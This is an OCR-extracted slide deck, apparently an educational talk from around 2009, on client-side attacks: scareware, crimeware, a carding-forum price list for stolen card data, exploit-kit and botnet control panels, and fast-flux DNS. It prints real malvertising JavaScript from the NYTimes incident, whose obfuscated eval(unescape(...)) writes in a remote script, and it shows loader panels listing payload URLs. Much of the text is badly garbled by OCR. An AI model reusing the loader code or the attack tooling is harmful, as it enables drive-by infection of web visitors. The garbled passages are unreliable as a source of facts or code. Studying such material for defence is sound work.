someone always clicks the link

CLIENT SIDE
ATTACKS




Why Client Side Attacks?

g



Better Controls

Dedicated Security Teams

Network Separation

z Internal vs. External vs. DMZ
Hardened Server Builds

IDS/IPS

Security Event Monitoring & Alerting
Software security is improving (?)

E]



So Now What?

Who has oOunrestricted
Internal network anytime?



User Environment

Far more complex than publicly available
servers.

Yet less protected
Hard to fingerprint - no direct access

Has legitimate (usually persistent) access |
to the networkos critiec

Is a on thesnetwaork.
Browse fil e shares, ruyn ne
Domain users can do more than local accounts
and SYSTEM.

Connects to the Internet from within the
Internal network.



Us er Environmen

Combination of tools, 3rd party
applications or in-house software.

Different software companies with differing
attitudes towards security and updates.

Patching policies, if any, vary

WSUS/SUS doesn't patch random 3rd party
applications.

Some tools that do. Assumes an organization
has a good handle on the software deployed



Malware

Attackers like love low hanging fruit

Why?

Broad oOounawareo target u
Risk vs. Return

| t0s really O0Oeasyo



GreenAV
Professional License

Profect your PC and jom our green movemont

Protect your PG with mnovative technokogy
and prevent further infoction.

1D0% remove of malicious software, vinuses,
spyware, malware elc.
| can st Groan AV
suspicious files, Facebook and my PC. )mmmﬂrﬂywﬂ
s arivius

Removes
My, s Groen AV Tnm ddu H

Profect personal information from phishing

By Gren A oday and moke your

p meral carsprogram
£ REALIABLE Ancia XP 2008 - srespivare/vs Wt srengy o o

security  protector,  the ~ new
£ EFFECTIVE comprehensive,  automatic, and $23118.1966... . ; 34 years
~ nvironment care program. |
$2 from every sale we make will be j L
sent on saving green forests in Amazonia,

: ik e $99,99 T
Free Check +» Download : SO AR 2ot

self-updating PC care service that it .
£ PROACTIVE helps to protect and malntain your PC. iy and counting... Jon!

bt s 3 good new start! 7

Virus Response
Lab 2009

Buy Now | Features | Support | Testimonials | Company

A No one is safet

What is Spyware ?

MacevesWorkd:

1t o frce dean e s8.bboen rapsnsand ywre than the oer
oo carnat
The Behsvor Ansiyss Tecoogy can fnd 0t the crinowe S and ymare bette
The schedde scon 20015 automat 500 ot specfied sme; by v
Lowest CPU age ate, best prformancs and moder wser G i
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What do all these products have in common?




So why go to all this trouble?

Bots, botnets & more bots!
Phishing
Spamming
Denial of service attacks

Data harvesting/keylogging
z Banking information / Credit cards
z Username/passwords

Malware hosting/distribution sites



t 0s al | =

Adware
Spyware
Rogueware
Ransomware
Scareware

VW EWEE

CRIMEWARE
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't really 1 s al

FORGET Russians, Romanians, Chinese, Malaysian, etc.
usa full infos Deal with the PROS.

#ek ~'s with full info(USA only)***

*** Frech and valid stuff *** | 6ve got big, VERY FRESH dat at

(org track 1 and 2). In business over 6 years. Will replace
failures, no problem.
Format of cc with full info:

Min order FIVE of any type.

*Full name

*Billing address --- USA---

*CC number MasterCard, Visa Classic -$20

*Exp. date Visa Qold/PIatinum/Corporate/Signature/Business -$40
ity American Express -$30

*Atm pin

---CANADA---
MasterCard, Visa Classic -$20
Visa Gold/Platinum/Corporate/Signature/Business -$40

*Mother maiden name
*Social Securtty Number
*Date of birth

*IP address —-EU---

*Host name MasterCard, Visa Classic -$70
*E-mail address(some with e-mail acces t00)  visa Gold/Platinum/Corporate/Signature/Business -$100

Price: 15%/ cc with full info ---ASIA---
Visa Gold/Platinum/Corporate/Business -$100
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A Few Stat seé

of Web sites with malicious code are
legitimate sites that have been compromised.

of the top 100 most popular Web
sites have either hosted or been involved In
malicious activity in the first half of 20009.

of Web sites infected with malicious
code were created using Web malware
exploitation Kits.




Top 10 Web Attack Vectors

4. SQL injection
6. Content management systems (CMS) vulnerabilities

8. Malicious Web 2.0 components (e.g. facebook
applications, 3rd-party widgets/gadgets, banner ads)

10. DNS cache poisoning

Donot f or g e2p& Hlehamat bugs | M/



O0d Never

myzonedom.ru
hfju38djfhjdi3kd.cn
lelayre.cn
validating.ru
srvfarino.co.cr
35465543.com
nenastiya.cn
spaider.no-ip.biz
ddoser.selfip.org
cr4zylOv3.no-ip.biz

Vi



What about this site?

) The New York Times - Breaking News, World News & Multimedia - Mozilla Firefox Q@
File Edit View Hitory Bookmarks Tools Help

@ wr | & http: w.nytimes. com;

| ] fehishing k... | & TheN... 3 | [P advertise | .. | | | waFs.png (.. | | Newlineinc.. $FirefoxUpd.. [ counterme.. [2]fragus_s ] fragus_4.qff gus_3.gf... | ] frag . | ] Intrusion Pr... 1 Page LoadE...

E Bookmarks Toolbar
Bookmarks Menu
* Unsorted Bookmarks

st : . Ehe New Aork Times

Thur: 2 Ipdate: AMET

Most Recent t Home Delivery Login R

Try Our
EXTRA
Home Page

Taliban Widen OPINION »
EDITORIAL

Afghan Attacks o ' B2 Obamaat the UN.
From Base in ) ] Fresident Ob
stan

MITT and MARK

| N.Y./REGI : 2 b 4 HOME & GARDEN »

‘ BUSINESS P he X On the Cheap A Place Fit
| TECHNOLOGY ‘g for the Boss

Areader

Brooklyn loft

| Obama admin
| ez ng its milif

7 s MARKETS » & 10:44 A ET
a $s5,000 S.8P. 500 Dow Hasdaq
budget with the h 1,048.31 097.89

U.N. Nuclear Resolution Is Approved
PRE

For First N 3
Vaccine Shows Some 1 ved % 2 . TQUOTES My Portfo
P in Trials i i Z -8 omment
uccess in Tri STYLES  ETFs, Fun
»
The Mother of
Reinvention

Go

By WILLIAM
An Intelligs

REALESTATE | AUTOS JOBS & ALL CLASSIFIEDS




On Sept 14, 2009é

3'd Party Banner Ad infected NYTimes
viewers

Malicious iframe
tradenton.com/?id=21610438

tivirus

3 System scan progress.

o Email-Worm. Wind2.Net Critical

W Email-Worm WindZMyd  Cotical 11.18.3008 65 Wsiting removal

personal il
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The act ual code

<html><body style="margin:0; padding:0;">

<script type="text/javascript">

var rightNow = new Date();

var datel = new Date(rightNow.getFullYear(), O, 1, 0, 0, 0, 0);

var temp = datel.toGMTString();

var date3 = new Date(temp.substring(0, temp.lastindexOf(" *)-1));
var hoursDiffStdTime = (datel - date3) / (1000 * 60 * 60);

tz_crt = hoursDiffStdTime;

document.write(unescape("%3Ca href="http://www.bulgari.com/main.php?lang=6/ref=680'
target="_blank'%3E%3Cimg src="http://harlingens.com/bdb/-MISC/bulgari_300x250.gif' border='0'
%3E%3C/a%3E"));

var al = "http://sex-and-";

var a2 = "the-city.cn/go.php?i";

var a3 = "d=2006-63&key=0522c7066&p=1";
var action_URL =al + a2 + a3;

var cur_domain = "harlingens.com”;

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70
%065%28%22%25%33%43%73%63%72%69%70%74%20%73%72%63%3D%27%68%74%74% /0%3A%2F%2F%
22%20%2B%20%63%75% 72%5F%64%6F%6D%61%69%6E %20%2B%20%22%2F%69%6E%63%6C%75%64%6
5%73%30%32%2E%6A%73%27%20%74% /9% 70%65%3D%27%74%65% 78% 74%2F%6A%61%76%61% 73%63
%72%69%70%74%27%25%33%45%25%33%43%2F%73%63%72%69%70%74%25%33%45%22%29%29%3B"));

</script></body></html>
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Exploit Kits & a SAAS Model

) Admin-Panel = Mozilla Firefox:

tain Opsexs  Bua
& -0

§5 Cambie nomnaDHLe

@ Admin-Panel

5

CraTneTika

9

CTRaHEl

e

Bpayzapel

»

CHCTeMel

@aiine

farsl

HOPHEN  3aknageM  MHCTRYMERTE  Crpaeka

W @ rttptestt sz 0 adnin nds php * « ol QP Search

Havanetas crpamya B MlenTa osoeTer

+

® Cratvcruka

® 3arpyska

Inaenas

YES Exploit System

CTaTdcTika

Baw IP-aap

Baw noruH:

® npasuna

MpoaasLbI

¥ oeron | Hnar

A

MpKMeHHTE

HatTRofKH. . ® Mpasing

—
B CratHeTika O Sarnyka
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Point & Click Exploitation
-

ann“s Statistics | Files | Sellers | Traffic links | Preferences | Logout

Total statistics:
£ Add seller
Uploading file:
Hosts: 114
Exploits:
Frags: 26
Percentage: 22.81% aotwinamp

pdf
swi
directshow
ms09002
snapshot
com
spreadsheet
W v

Add

Sellers list:
Seller name Uploading file Exploits Hosts Frags Percentage

0@

Fragus v1.0 Powered by Fragus
Sales: 99-68-78
Support: 99-69-78
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They have stats

-

ann“s Statistics | Files | Sellers | Traffic links | Preferences | Logout

1atistics][control] [help]

ilobal]  [Downloaded files][Time statisti

Total statistics:

Show statistic for Summary data ~

W Ajax autoreload
_—— Browsers
Hosts: 70 . Hosts  Frags
e SIE
e = Frags R i
Frags: 16 )
7.0
80
50

Zupas
Percentage: :
Protocol
unries 5 10 s today » 10 Countries order by k

Country

Operating systems Country Rating
. Frags
Al e sl i

= Frags 15

L LR N

1
0
0
0
0
0

Countries

Hosts _ Frags Percent
Al e e e,
= Frags

n Rating
1

Exploits.

Frags Feedbacks

Frags

= Feadback i 2

pdf 3

aolwinamp 2
directshow 0 o0

ms09002 0

Fragus v1.0 Powered by Fragus
Sales:  99-68-78
Support: 99-69-78
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Anyone

C

a I

--[ BlackEnergy DDoS Bot ]--

(in minukes)

BlackEnergy OO

Execute after | 30 minutes (0 - execute immediatly)

ICMP Frea:
ICMP Sizes
SN Freg:
HTTP Freq: (1000
HTTP Threads:
TCP{UDF Freq:

DP Size:

sinlnln]

10

1000

1000

: | o {1-0CN;0O-CFi

do

I DD 3 Builder

v Llse packer

DreamDownloader v

() DrearnCoders Tearn, 20

1
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Command & Control

The interface between the bot herder
and the botnet

Communication channels

RC

Peer-to-Peer (p2p)

HTTP T Blogs, Twitter, News Groups
Peer-to-Peer over HTTP

IP Address vs. Domain (FastFlux DNS)




Central Control

STATISTICS SEARCH ROUTINES Bothet COMFIGURER SETTIMGS IPZLOCATION SOCKS LOGOUT

BotNet CONFIGURER

PROCEED

IEFaker links and locations

[#] Link that will start FAKE Link to FAKE file
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entral Updates

Select Land (Multi Load) Insart ComplD (Single load)
| All | All countries -
Count to Install

e | [ sum. Search BOT
by ComplD
Url's to load (Example) |7 Don't kill loader after job |

by IP Ext
http://some.com/1.exe Linttp://go.com/malware.exe Eihttp:/kuxi.net/download... Results per pag

should to press ‘Enter’ to Search

make new line saparate. it's
necessary.

Add to tasks

Select Results

Add Land . Count tota : Bot Ver. ComplD
4=
4=
=
4=
4=
+m
4=
4=
4=
=
4=
-
+m
Tasks +-
Land Bot's count Installed  Toinstall Url's one +-
11160 8411 *-unlim. hitpsiwww ekttt o . - Delete t +-
m
4=
4=
+m
4=




pamming Made Easy

[statistics] [contral] [help] ZUnker Panel v1.4.5b [LOG OUT]

[Loader] Zupacha
[Control] [Template Editor]

Zupacha E:'i" Template Editor

Edit

Bots mote |1

In diesem selbstentpackenden Archiv finden Sie die Fotos won unseren

erfolgreichen Mitarbeitern http://www . opimssemmiimmmimsdein . ¢ o

'WEB Forums
WEB M

101




Targeting Countries

Country Rating

Country Rating
M Germany
Il Fussia
EE United

Rating
Austria

IR

T
-

o
R Bl

1411
s: 838750

Bot version Rating
1116




Resilience - Fastflux

1 domain = many IP Addresses
Round-robin IP Address pool
Short TTL
Proxy nodes

Load distribution
Health checks for nodes
z Content availability always maintained

Legit technique
z H/A & Load balancing



Single-Flux

“bullet-proof” hosted
DNS server ~.

ns.example.com

/' i
4) Answer!
10.10.10.10
3) Query:
flux.example.com
COIm
2) Referral;
ns.example.com

1) Query:
flux.example.com

"\u..h_h-__-

client

Double-Flux 4 query
redirected &
Respoanse
eturn ed

mﬂthershlp ;‘-'T ombie
nme

ns.example.com

/' 1

5) Answer:
10.10.10.10
3) Query:

flux.example.com

Cﬂm
2) Referral;
ns.example.com

1) Query:
flux. example com

client

DNS Resolution Comparison







